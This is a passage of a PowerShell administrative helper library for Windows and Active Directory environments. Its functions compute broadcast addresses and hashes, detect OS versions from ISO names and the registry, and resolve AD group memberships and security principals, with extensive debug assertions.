      $mask = Get-IPSubnetMask $bitMask

    } else {

      $bitMask = Get-IPSubnetBits $mask
    }


    [byte[]] $ipBytes = @( 0, 0, 0, 0)
    [byte[]] $maskBytes = @( 0, 0, 0, 0)
    [byte[]] $broadcastBytes = @( 0, 0, 0, 0)

    $ipTokens = $ipAddress.Split('.')
    $maskTokens = $mask.Split('.')

    for ($i = 0; $i -lt 4; $i ++) {

      $ipBytes[$i] = ([int]::Parse($ipTokens[$i]))
      $maskBytes[$i] = ([int]::Parse($maskTokens[$i]))

      # Note: we must BitConvert here because the -bnot operator produces signed Int64 actually
      #       which in turn cannot be simple converted to anything unsigned
      $broadcastBytes[$i] = [BitConverter]::GetBytes(($ipBytes[$i] -band $maskBytes[$i]) -bor (-bnot $maskBytes[$i]))[0]

      if ($i -gt 0) {

        $broadcast += '.'
      }

      $broadcast += $broadcastBytes[$i]
    }
  }


  DBG ('IP broadcast determined: ip = {0} | mask = {1} | bitmask = {2} | broadcast = {3}' -f $ipAddress, $mask, $bitmask, $broadcast)
  DBGIF $MyInvocation.MyCommand.Name { -not (Is-IPv4OrIPv6Address $broadcast) }
  return $broadcast
}


function global:Compute-HmacSha256 ([Security.SecureString] $password, [byte[]] $bytesToHmac) 
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  # using the best secure method found here: 
  #   http://blogs.msdn.com/b/fpintos/archive/2009/06/12/how-to-properly-convert-securestring-to-string.aspx

  [string] $outHmac = ''
  [IntPtr] $unmanagedString = [IntPtr]::Zero

  DBG ('Signing bytes: {0}' -f $bytesToHmac.Count)

  try {

    $unmanagedString = [Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($password)
 
    # just make it longer to be more than 64 bytes for the HMACSHA256 constructor
    # according to documentation, it will automatically compute SHA1 from the key byte[]
    $outHmac = [BitConverter]::ToString(
      (New-Object System.Security.Cryptography.HMACSHA256 @(,([Text.Encoding]::UTF8.GetBytes([Runtime.InteropServices.Marshal]::PtrToStringUni($unmanagedString)) * [Math]::Ceiling((64 / $password.Length))))).ComputeHash($bytesToHmac)
    )

  } finally {

    [Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($unmanagedString)
  }

  DBG ('Computed HMAC-SHA256: {0}' -f $outHmac)

  return $outHmac
}


function global:Compute-Sha1HashFromFile ([string] $path, [int] $maxFileSize)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBG ('Read existing file: {0} | {1}' -f (Test-Path $path), $path)

  if (Test-Path $path) {

    DBG ('File attributes: size = {0} | modified = {1}' -f (Get-Item $path).Length, (Get-Item $path).LastWriteTime.ToString('s'))

    if ((Get-Item $path).Length -gt (1MB * $maxFileSize)) {

      DBG ('File larger than {0} MB, skipping.' -f $maxFileSize)
      DBGSTART
      $fileBytes = [System.Text.ASCIIEncoding]::ASCII.GetBytes('File skipped due to its excessive size.')
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

    } else {

      DBGSTART
      $fileBytes = [System.IO.File]::ReadAllBytes($path)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }

    if (Is-NonNull $fileBytes) {
     
      $sha = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
      $hashBytes = $sha.ComputeHash($fileBytes)

      $hashBase64 = [Convert]::ToBase64String($hashBytes)
      $hashHex = [BitConverter]::ToString($hashBytes)
    }
  }

  DBG ('SHA-1 hash: {0} | {1}' -f $hashBase64, $hashHex)
  return $hashHex
}


function global:Is-GroupMember ([string] $groupDN, [string] $memberDN)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $groupDN }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $memberDN }

  [bool] $isMember = $false
  [System.Collections.ArrayList] $deList = @()

  $groupDE = Get-DE $groupDN ([ref] $deList)
  $memberDE = Get-DE $memberDN ([ref] $deList)

  if (Contains-Safe $groupDE.member $memberDN) {

    DBG ('Principal is direct member of the group: {0} | {1}' -f (GDES $groupDE sAMAccountName), (GDES $memberDE sAMAccountName))
    $isMember = $true
  
  } else {

    $groupID = GDES $groupDE primaryGroupToken
    $memberPrimaryGroup = GDES $memberDE primaryGroupID

    if ($groupID -eq $memberPrimaryGroup) {

        DBG ('The group is primary group of the principal: {0} | {1}' -f (GDES $groupDE sAMAccountName), (GDES $memberDE sAMAccountName))
        $isMember = $true
    }
  }

  Dispose-List ([ref] $deList)

  return $isMember
}


function global:Init-OsVersionInfo ([string] $version, [string] $name, [bool] $isClient)
{
  $osVersionInfo = New-Object PSObject
  
  $osVersionInfo | Add-Member -MemberType NoteProperty -Name Version -Value $version
  $osVersionInfo | Add-Member -MemberType NoteProperty -Name VersionMM -Value ([RegEx]::Match($version, '\d+\.\d+').Value)
  $osVersionInfo | Add-Member -MemberType NoteProperty -Name VersionNumber -Value (Get-OSVersionNumber $version)
  $osVersionInfo | Add-Member -MemberType NoteProperty -Name Name -Value $name
  $osVersionInfo | Add-Member -MemberType NoteProperty -Name IsClient -Value $isClient


  $possibleProductNames = @(
    'Microsoft Windows XP', 
    'Microsoft Windows Server 2003',
    'Microsoft Windows Server 2003 R2',
    'Windows Vista',
    'Windows Server (R) 2008',
    'Windows 7',
    'Windows Server 2008 R2',
    'Windows 8',
    'Windows Server 2012',
    'Windows 8.1',
    'Windows Server 2012 R2',
    'Windows 10',
    'Windows Server 2016',
    'Windows Server 2019'
    )

  $found = $false
  foreach ($onePossibleProductName in $possibleProductNames) {

    if ($name -like "$onePossibleProductName*") {

      #DBGIF 'Duplicate OS name found' { $found }
      $found = $true
    }
  }

  DBGIF ('Unknown OS ProductName value found: {0}' -f $name) { -not $found }


  DBG ('OS version determined: {0} | {1} | {2:N2} | {3} | isClient = {4}' -f $osVersionInfo.Version, $osVersionInfo.VersionMM, $osVersionInfo.VersionNumber, $osVersionInfo.Name, $osVersionInfo.IsClient)

  return $osVersionInfo
}


function global:Get-OSVersionFromISOName ([string] $isoList)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $isoList }

  [object] $osVersionInfo = $null

  if (Is-ValidString $isoList) {

    DBG ('Determine OS version from ISO names')

    foreach ($oneISO in (Split-MultiValue $isoList)) {

      $isoName = ''
      $osVersion = ''

      DBGSTART
      $isoName = Split-Path (Strip-ValueFlags $oneISO) -Leaf -EA SilentlyContinue
      DBGEND

      DBG ('One ISO name to compare to product list: {0}' -f $isoName)

      switch ($isoName) {

        # Note: mind the order of the conditions, becuase some matches are ambiguous
        #       such as the *_server_2008_* and *_server_2008_r2_*
        { $_ -like '*windows*_xp_*.iso' }             { $osVersion = '5.1'  ; $isWks = $true  ; $productName = 'Microsoft Windows XP' }
        { $_ -like '*win_srv_2003_*.iso' }            { $osVersion = '5.2'  ; $isWks = $false ; $productName = 'Microsoft Windows Server 2003' }
        { $_ -like '*win_srv_2003_r2_*.iso' }         { $osVersion = '5.2'  ; $isWks = $false ; $productName = 'Microsoft Windows Server 2003 R2' }
        { $_ -like '*windows*_vista_*.iso' }          { $osVersion = '6.0'  ; $isWks = $true  ; $productName = 'Windows Vista' }
        { $_ -like '*windows*_server_2008_*.iso' }    { $osVersion = '6.0'  ; $isWks = $false ; $productName = 'Windows Server (R) 2008' }
        { $_ -like '*windows*_7_*.iso' }              { $osVersion = '6.1'  ; $isWks = $true  ; $productName = 'Windows 7' }
        { $_ -like '*windows*_server_2008_r2_*.iso' } { $osVersion = '6.1'  ; $isWks = $false ; $productName = 'Windows Server 2008 R2' }
        { $_ -like '*windows*_8_*.iso' }              { $osVersion = '6.2'  ; $isWks = $true  ; $productName = 'Windows 8' }
        { $_ -like '*windows*_server_2012_*.iso' }    { $osVersion = '6.2'  ; $isWks = $false ; $productName = 'Windows Server 2012' }
        { $_ -like '*windows*_8_1_*.iso' }            { $osVersion = '6.3'  ; $isWks = $true  ; $productName = 'Windows 8.1' }
        { $_ -like '*windows*_server_2012_r2_*.iso' } { $osVersion = '6.3'  ; $isWks = $false ; $productName = 'Windows Server 2012 R2' }
        { $_ -like '*windows*_10_*.iso' }             { $osVersion = '10.0' ; $isWks = $true  ; $productName = 'Windows 10' }
        { $_ -like '*windows*_server_2016_*.iso' }    { $osVersion = '10.0' ; $isWks = $false ; $productName = 'Windows Server 2016' }
      }

      if (Is-ValidString $osVersion) {

        DBGIF 'More than a single ISO name match OS distribution media' { Is-NonNull $osVersionInfo }
        DBG ('OS version matched by ISO name: {0}' -f $osVersion)
  
        $osVersionInfo = Init-OsVersionInfo $osVersion $productName $isWks
      }
    }
  }

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $osVersionInfo }
          
  return $osVersionInfo
}


function global:Get-OSVersionFromRegistry ([string] $softwareRoot)
# Note: the $softwareRoot needs to be specified only if we determine Windows version of a mounted image
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  if (Is-EmptyString $softwareRoot) {

    $softwareRoot = 'SOFTWARE'
  }

  $fullVerRoot = '{0}\Microsoft\Windows NT\CurrentVersion' -f $softwareRoot

  $currentVersion = Get-RegValue '.' $fullVerRoot CurrentVersion String
  $currentBuild = Get-RegValue '.' $fullVerRoot CurrentBuildNumber String
  $installationType = Get-RegValue '.' $fullVerRoot InstallationType String
  $productName = Get-RegValue '.' $fullVerRoot ProductName String

  DBG ('OS version registry values: {0} | {1} | {2} | {3}' -f $currentVersion, $currentBuild, $productName, $installationType)

  DBGIF $MyInvocation.MyCommand.Name { $currentVersion -like '*.*.*' } 
  DBGIF $MyInvocation.MyCommand.Name { (($currentVersion -like '5.*') -or ($currentVersion -eq '6.0')) -and (Is-ValidString $installationType) } 
  DBGIF $MyInvocation.MyCommand.Name { (($currentVersion -notlike '5.*') -and ($currentVersion -ne '6.0')) -and (Is-EmptyString $installationType) } 
  DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString $installationType) -and ($installationType -ne 'Server') -and ($installationType -ne 'Client') -and ($installationType -ne 'Server Core') } 
  DBGIF $MyInvocation.MyCommand.Name { -not (($currentVersion -eq '5.1') -or ($currentVersion -eq '5.2') -or ($currentVersion -eq '6.0') -or ($currentVersion -eq '6.1') -or ($currentVersion -eq '6.2') -or ($currentVersion -eq '6.3') -or ($currentVersion -eq '6.4')) } 

  if (($currentVersion -eq '6.3') -and (([int] $currentBuild) -ge 10074)) {
    
    # Note: Windows 10 preview editions come with this weird registry setting
    #       while their local WMI says 10.0.xxxxx
    $currentVersion = '10.0'
  }


  if ($currentVersion -like '5.*') {

    $isWks = ($currentVersion -eq '5.1') -or (($currentVersion -eq '5.2') -and ($productName -like '* XP*'))

  } elseif ($currentVersion -eq '6.0') {
  
    $isWks = $productName -like '*Vista*'
  
  } else {

    $isWks = $installationType -eq 'Client'
  }

  
  $osVersionInfo = Init-OsVersionInfo ('{0}.{1}' -f $currentVersion, $currentBuild) $productName $isWks

  DBGIF $MyInvocation.MyCommand.Name { ($softwareRoot -eq 'SOFTWARE') -and ($global:thisOSVersion -ne $osVersionInfo.Version) }
  DBGIF $MyInvocation.MyCommand.Name { ($softwareRoot -eq 'SOFTWARE') -and ($osVersionInfo.IsClient) -and ($global:thisOSRole -ne 'Workgroup Workstation') -and ($global:thisOSRole -ne 'Member Workstation') }
  DBGIF $MyInvocation.MyCommand.Name { ($softwareRoot -eq 'SOFTWARE') -and (-not $osVersionInfo.IsClient) -and ($global:thisOSRole -ne 'Workgroup Server') -and ($global:thisOSRole -ne 'Member Server') -and ($global:thisOSRole -ne 'BDC') -and ($global:thisOSRole -ne 'PDC') }

  return $osVersionInfo
}


function global:Get-ProcessArchitecture ()
{
  [string] $processArchitecture = $null

  $envArch = $env:PROCESSOR_ARCHITECTURE
  DBGIF $MyInvocation.MyCommand.Name { -not (($envArch -eq 'x86') -or ($envArch -eq 'AMD64') -or ($envArch -eq 'IA64')) }

  if (($envArch -eq 'AMD64') -or ($envArch -eq 'IA64')) {

    # Make it the same as thisOSArchitecture
    $processArchitecture = '64-bit'
    # nonsense, both 32/64bit processes see $PSHOME as in C:\Windows\System32\...
    #DBGIF $MyInvocation.MyCommand.Name { $PSHOME -notlike ('{0}\System32\WindowsPowerShell\*' -f $env:windir) }
    DBGIF $MyInvocation.MyCommand.Name { [IntPtr]::Size -ne 8 }
  
  } else {

    $processArchitecture = '32-bit'
    # nonsense, both 32/64bit processes see $PSHOME as in C:\Windows\System32\...
    #DBGIF $MyInvocation.MyCommand.Name { $PSHOME -notlike ('{0}\SysWOW64\WindowsPowerShell\*' -f $env:windir) }
    DBGIF $MyInvocation.MyCommand.Name { [IntPtr]::Size -ne 4 }
  }

  DBG ('Current process architecture: {0}' -f $processArchitecture)

  if ($processArchitecture -ne $global:thisOSArchitecture) {

    DBG ('Running WOW on 64bit platform')
    DBGIF $MyInvocation.MyCommand.Name { $processArchitecture -ne '32-bit' }
    DBGIF $MyInvocation.MyCommand.Name { $env:ProgramFiles -ne ${env:ProgramFiles(x86)} }
    DBGIF $MyInvocation.MyCommand.Name { $PSHOME -ne "$env:windir\SysWOW64\WindowsPowerShell\v1.0" }
  }
  
  return $processArchitecture
}


function global:Define-LocalSecurityPrincipal (
      [string] $principalType,
      [string] $sid,
      [bool] $disabled,
      [bool] $valid = $true
      )
{
  # Note: the system groups, although they should be NT AUTHORITY\, they are sometimes (WMI) COMPUTERNAME\
  #       so I just want to standardize the SAM format
  # Note: in case we are defining invalid principal, such as one that cannot be translated from its SID
  #       there is no reason in trying the translation again
  if ($valid) {

    DBGSTART
    $realAccountName = (New-Object System.Security.Principal.SecurityIdentifier $sid).Translate([System.Type]::GetType('System.Security.Principal.NTAccount')).Value
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }


  if (Is-ValidString $global:thisComputerDomain) {

    $computerDNS = '{0}.{1}' -f $global:thisComputerHost, $global:thisComputerDomain
  
  } else {

    $computerDNS = $global:thisComputerHost
  }


  $principal = Define-SecurityPrincipal `
    -principalType $principalType `
    -foreign $false `
    -nonDomain $true `
    -nonSecurity $false `
    -valid $valid `
    -dn $null `
    -realDN $null `
    -sam $realAccountName `
    -upn $null `
    -sid $sid `
    -sidHistory 0 `
    -disabled $disabled `
    -domainDN $null `
    -domainDNS $computerDNS `
    -domainNetBIOS $global:thisComputerNetBIOS `
    -domainSID $null `
    -forest $null `
    -scope 'machine' `
    -expiration $null

  return $principal    
}


function global:Define-SecurityPrincipal (
      [string] $principalType,
      [bool] $foreign,
      [bool] $nonDomain,
      [bool] $nonSecurity,
      [bool] $valid,
      [string] $dn,
      [string] $realDN,
      [string] $sam,
      [string] $upn,
      [string] $sid,
      [int] $sidHistory,
      [string] $disabled,
      [string] $domainDN,
      [string] $domainDNS,
      [string] $domainNetBIOS,
      [string] $domainSID,
      [string] $forest,
      [string] $scope,
      [string] $expiration
      )
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  if (-not (($principalType -eq 'maximumReached') -or (-not $valid))) {

    DBGIF $MyInvocation.MyCommand.Name { -not (Contains-Safe @('system', 'user', 'group', 'computer', 'svc', 'groupSvc', 'inetOrgPerson', 'trust') $principalType) }

    # Note: 'dc' means here a system account such as Authenticated Users
    #       on a DC - such group membership is valid on all DC, but it is yet not
    #       a domain group
    DBGIF $MyInvocation.MyCommand.Name { -not (Contains-Safe @('universal', 'global', 'local', 'dc', 'machine') $scope) }

    DBGIF $MyInvocation.MyCommand.Name { $principalType -eq 'unknown'  }
    DBGIF $MyInvocation.MyCommand.Name { $scope -eq 'unknown'  }
    DBGIF $MyInvocation.MyCommand.Name { -not $valid }
    DBGIF $MyInvocation.MyCommand.Name { ($scope -ne 'machine') -and (Is-EmptyString $dn) }
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $sid }
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $sam }
    #DBGIF $MyInvocation.MyCommand.Name { ($nonDomain -and ($sam -notlike '*\*') -and ($sam -ne 'Everyone')) -or ((-not $nonDomain) -and ($sam -like '*\*')) }
    DBGIF $MyInvocation.MyCommand.Name { ($sam -notlike '*\*') -and ($sam -ne 'Everyone') }
    #DBGIF $MyInvocation.MyCommand.Name { ($sam -like '*\*') -and ($sam -notmatch (RxFullStr $global:rxSamLogin)) }
    DBGIF $MyInvocation.MyCommand.Name { $sam -notmatch (RxFullStr $global:rxSamLogin) }
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $domainNetBIOS }
    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $domainDNS }
    DBGIF $MyInvocation.MyCommand.Name { (-not $nonDomain) -and (Is-EmptyString $realDN) }
    DBGIF $MyInvocation.MyCommand.Name { (-not $nonDomain) -and (Is-EmptyString $domainDN) }
    #DBGIF $MyInvocation.MyCommand.Name { (-not $nonDomain) -and (Is-EmptyString $domainDNS) }
    DBGIF $MyInvocation.MyCommand.Name { (-not $nonDomain) -and (Is-EmptyString $domainSID) }
    DBGIF $MyInvocation.MyCommand.Name { (-not $nonDomain) -and (Is-EmptyString $forest) }
    DBGIF $MyInvocation.MyCommand.Name { ($nonDomain) -and (-not (Contains-Safe @('system', 'user', 'group') $principalType)) }
    DBGIF $MyInvocation.MyCommand.Name { ($nonDomain) -and (-not (Contains-Safe @('dc', 'machine') $scope)) }
    DBGIF $MyInvocation.MyCommand.Name { ($principalType -eq 'system') -and ($sam -notlike 'NT AUTHORITY\*') -and ($sam -notlike 'IIS APPPOOL\*') -and ($sam -notlike 'NT SERVICE\*') -and ($sam -notlike 'NT VIRTUAL MACHINE\*') -and ($sam -ne 'Everyone') }

    DBGIF $MyInvocation.MyCommand.Name { -not (($sid -match '[Ss]-1-5-21(?:(?:-\d+){4})\Z') -or ($sid -match '[Ss]-1-5-32(?:-\d+){1}\Z') -or ($sid -match '[Ss]-1-5-80(?:(?:-\d+){5})\Z') -or ($sid -match '[Ss]-1-5-81(?:(?:-\d+){5})\Z') -or ($sid -match '[Ss]-1-5-82(?:(?:-\d+){5})\Z') -or ($sid -match '[Ss]-1-5-\d+\Z') -or ($sid -match '[Ss]-1-1-\d+\Z')) }
  }

  $principal = New-Object PSCustomObject

  Add-Member -InputObject $principal -MemberType NoteProperty -Name principalType -Value $principalType
  Add-Member -InputObject $principal -MemberType NoteProperty -Name foreign -Value $foreign
  Add-Member -InputObject $principal -MemberType NoteProperty -Name nonDomain -Value $nonDomain
  Add-Member -InputObject $principal -MemberType NoteProperty -Name nonSecurity -Value $nonSecurity
  Add-Member -InputObject $principal -MemberType NoteProperty -Name valid -Value $valid
  Add-Member -InputObject $principal -MemberType NoteProperty -Name dn -Value $dn
  Add-Member -InputObject $principal -MemberType NoteProperty -Name realDN -Value $realDN
  Add-Member -InputObject $principal -MemberType NoteProperty -Name sam -Value $sam
  Add-Member -InputObject $principal -MemberType NoteProperty -Name upn -Value $upn
  Add-Member -InputObject $principal -MemberType NoteProperty -Name sid -Value $sid
  Add-Member -InputObject $principal -MemberType NoteProperty -Name sidHistory -Value $sidHistory
  Add-Member -InputObject $principal -MemberType NoteProperty -Name disabled -Value $disabled
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainDN -Value $domainDN
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainDNS -Value $domainDNS
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainNetBIOS -Value $domainNetBIOS
  Add-Member -InputObject $principal -MemberType NoteProperty -Name domainSID -Value $domainSID
  Add-Member -InputObject $principal -MemberType NoteProperty -Name forest -Value $forest
  Add-Member -InputObject $principal -MemberType NoteProperty -Name scope -Value $scope
  Add-Member -InputObject $principal -MemberType NoteProperty -Name expiration -Value $expiration

  return $principal
}


function global:Get-SecurityPrincipal ([string] $memberDN)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $memberDN }

  [System.Collections.ArrayList] $deList = @()

  $principal = New-Object PSCustomObject
  $mbrType = 'unknown'
  $mbrStatus = $false
  $mbrForeign = $false
  $mbrNonDomain = $false
  $mbrNonSecurity = $false
  $mbrScope = 'unknown'
  $mbrSidHistory = 0
  $mbrExpiration = $null

  if (Is-ValidString $memberDN) {

    $oneMember = Get-DE $memberDN ([ref] $deList)
    $mbrDN = GDES $oneMember distinguishedName
    DBGIF ('Weird member opened DN: {0} | {1}' -f $memberDN, $mbrDN) { ($memberDN -ne $mbrDN) -and ($memberDN -ne "LDAP://$mbrDN") -and ($memberDN -ne "LDAP://?*/$mbrDN") }

    if (Is-NonNull $oneMember) {

      $memberClass = $oneMember.Properties['objectClass'].Value
      DBG ('Classes to be checked: {0}' -f ($memberClass -join ','))
      
      if (Contains-Safe $memberClass 'group') { 
            
          DBG ('Is group')
          $mbrType = 'group'
          $mbrDNtarget = $mbrDN
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=Group,CN=Schema,CN=Configuration,DC=*' }

          $mbrGroupFlags = GDEF $oneMember $global:groupFlags groupType
          $groupSAMType = GDEE $oneMember $accountType sAMAccountType

          if (-not (Has-MultiValue $mbrGroupFlags 'Sec')) {

            $mbrNonSecurity = $true
            DBGIF $MyInvocation.MyCommand.Name { -not (($groupSAMType -eq 'DistLocalGroup') -or ($groupSAMType -eq 'DistGlobalUniversalGroup')) }
          
          } else {

            DBGIF $MyInvocation.MyCommand.Name { -not (($groupSAMType -eq 'LocalGroup') -or ($groupSAMType -eq 'GlobalUniversalGroup')) }
          }

          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = $null
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count # must retype to [int] if something is $null
          $mbrDisabled = $false
          $mbrStatus = $true

          if (Has-MultiValue $mbrGroupFlags 'global') { $mbrScope = 'global' ; DBGIF $MyInvocation.MyCommand.Name { $groupSAMType -ne 'GlobalUniversalGroup' } }
          elseif (Has-MultiValue $mbrGroupFlags 'local') { $mbrScope = 'local' ; DBGIF $MyInvocation.MyCommand.Name { $groupSAMType -ne 'LocalGroup' } }
          elseif (Has-MultiValue $mbrGroupFlags 'universal') { $mbrScope = 'universal' ; DBGIF $MyInvocation.MyCommand.Name { $groupSAMType -ne 'GlobalUniversalGroup' } }
          else { $mbrScope = 'unknown' }

      } elseif (Contains-Safe $memberClass 'foreignSecurityPrincipal') { 
          
          DBG ('Is foreignSecurityPrincipal')
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=*' }
          $mbrForeign = $true
          $mbrSID = GDESID $oneMember objectSID
          DBGIF $MyInvocation.MyCommand.Name { $mbrSID -ne (GDES $oneMember cn) }
          DBGIF $MyInvocation.MyCommand.Name { $mbrDN -notlike ('CN={0},CN=ForeignSecurityPrincipals,DC=*' -f $mbrSID) }

          $mbrFullSAM = Get-SAMLogin $mbrSID

          if (Is-ValidString $mbrFullSAM) {

            DBGIF $MyInvocation.MyCommand.Name { $mbrFullSAM -notlike '*\*' }
            DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString (GDES $oneMember msDS-PrincipalName)) -and ($mbrFullSAM -ne (GDES $oneMember msDS-PrincipalName)) }

            $mbrSAM = $mbrFullSAM.Split('\')[1]
            $mbrDomainNetBIOS = $mbrFullSAM.Split('\')[0]

            DBG ('Foreign security principal: {0} | {1} | {2} | builtin = {3} | local = {4}' -f $mbrFullSAM, $mbrSAM, $mbrDomainNetBIOS, (Is-LocalDomain $mbrDomainNetBIOS), (Is-BuiltinDomain $mbrDomainNetBIOS))

            if ((Is-ValidString $mbrSAM) -and (Is-ValidString $mbrDomainNetBIOS)) {

              if ((Is-LocalDomain $mbrDomainNetBIOS) -or (Is-BuiltinDomain $mbrDomainNetBIOS)) {

                # Note: foreign security principal should probably be from NT AUTHORITY\ or NT SERVICE\
                #       but should not probably have computer nor domain name in their name
                DBGIF $MyInvocation.MyCommand.Name { (Is-LocalDomain $mbrDomainNetBIOS) }

                # Note: as we assert in Define-SecurityPrincipal(), if the account is non-domain
                #       the SAM login must be in the full form just in order to make the thing
                #       in line with local user/group accounts from member/workgroup computers
                #       Yet the domainNetBIOS will remain in this form, because we may have more
                #       DCs and it would be impossible to put there a particular computer name
                #       which is actually different from local user/group accounts which have the
                #       domainNetBIOS populated with their computer name
                #
                #       As a later thing, I have changed the logic and every SAM value is directly
                #       translated from its SID, so we have a consistent SAM values over local/domain
                #       accounts
                # $mbrSAM = $mbrFullSAM

                $mbrNonDomain = $true
                $mbrType = 'system'
                $mbrScope = 'dc'
                $mbrDNtarget = $null
                $mbrUPN = $null
                $mbrStatus = $true
                 
                # Note: in this case, the principal is valid on all DCs of that domain
                #       so the domainDNS should still point to itself
                #       not as in example of a local system account on a member machine such as
                #       Authenticated Users - this is valid only on that machine, so the domainDNS 
                #       should contain computer FQDN in case of local system groups
                $mbrDomainDNS = $global:thisComputerDomain

              } else {

                $foreignMemberDE = Get-DEbyDNorSAMorUPN $mbrFullSAM $null $null ([ref] $deList)
                  
                if (Is-NonNull $foreignMemberDE) {

                  $foreignMemberDN = GDES $foreignMemberDE distinguishedName
                  $foreignPrincipal = Get-SecurityPrincipal $foreignMemberDN

                  if ($foreignPrincipal.valid) {

                    DBGIF $MyInvocation.MyCommand.Name { $mbrSID -ne $foreignPrincipal.sid }
                    DBGIF ('Weird foreign values: mbrSAM = {0} | foreignPrincipalSAM = {1} | {2} | {3} | {4}' -f $mbrSAM, $foreignPrincipal.sam, $mbrFullSAM, $foreignMemberDN, $foreignPrincipal.realDN) { $foreignPrincipal.sam -ne "$($foreignPrincipal.domainNetBIOS)\$mbrSAM" }
                    DBGIF $MyInvocation.MyCommand.Name { $mbrDomainNetBIOS -ne $foreignPrincipal.domainNetBIOS }

                    $mbrType = $foreignPrincipal.principalType
                    $mbrDNtarget = $foreignPrincipal.realDN
                    $mbrSAM = $foreignPrincipal.sam.Split('\')[1]
                    $mbrUPN = $foreignPrincipal.upn
                    $mbrSID = $foreignPrincipal.sid
                    $mbrSIDhistory = $foreignPrincipal.sidHistory
                    $mbrDisabled = $foreignPrincipal.disabled
                    $mbrStatus = $true
                    $mbrScope = $foreignPrincipal.scope
                  }
                }
              }
            }
          }

      } elseif (Contains-Safe $memberClass 'msDS-ManagedServiceAccount') { 
            
          DBG ('Is msDS-ManagedServiceAccount')
          $mbrType = 'svc'
          $mbrDNtarget = $mbrDN
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=ms-DS-Managed-Service-Account,CN=Schema,CN=Configuration,DC=*' }
          DBGIF $MyInvocation.MyCommand.Name { -not ((GDEE $oneMember $accountType sAMAccountType) -eq 'User') }
          # Note: in secure environments we cannot rely on value of userAccountControl attribute
          #       as the "Windows Authorization Access Group" is not always populated
          #       by our execution account (especially in case of SCOM workflows)
          DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString (GDEF $oneMember $uacFlags userAccountControl)) -and (-not (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Normal')) }
          DBGIF $MyInvocation.MyCommand.Name { (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Temp') -or (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Mns') }
          $mbrSAM = GDES $oneMember sAMAccountName
          $mbrUPN = GDES $oneMember userPrincipalName
          $mbrSID = GDESID $oneMember objectSID
          $mbrSIDhistory = [int] $oneMember.sIDHistory.Count
          $mbrDisabled = (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Disabled')
          $mbrStatus = $true
          $mbrScope = 'global'
          $mbrExpiration = GDEI $oneMember accountExpires -ignoreNonExisting $true

      } elseif (Contains-Safe $memberClass 'msDS-GroupManagedServiceAccount') { 
            
          DBG ('Is msDS-GroupManagedServiceAccount')
          $mbrType = 'groupSvc'
          $mbrDNtarget = $mbrDN
          DBGIF $MyInvocation.MyCommand.Name { (GDES $oneMember objectCategory) -notlike 'CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=*' }
          DBGIF $MyInvocation.MyCommand.Name { -not ((GDEE $oneMember $accountType sAMAccountType) -eq 'User') }
          DBGIF $MyInvocation.MyCommand.Name { (Is-ValidString (GDEF $oneMember $uacFlags userAccountControl)) -and (-not (Has-MultiValue (GDEF $oneMember $uacFlags userAccountControl) 'Normal')) }
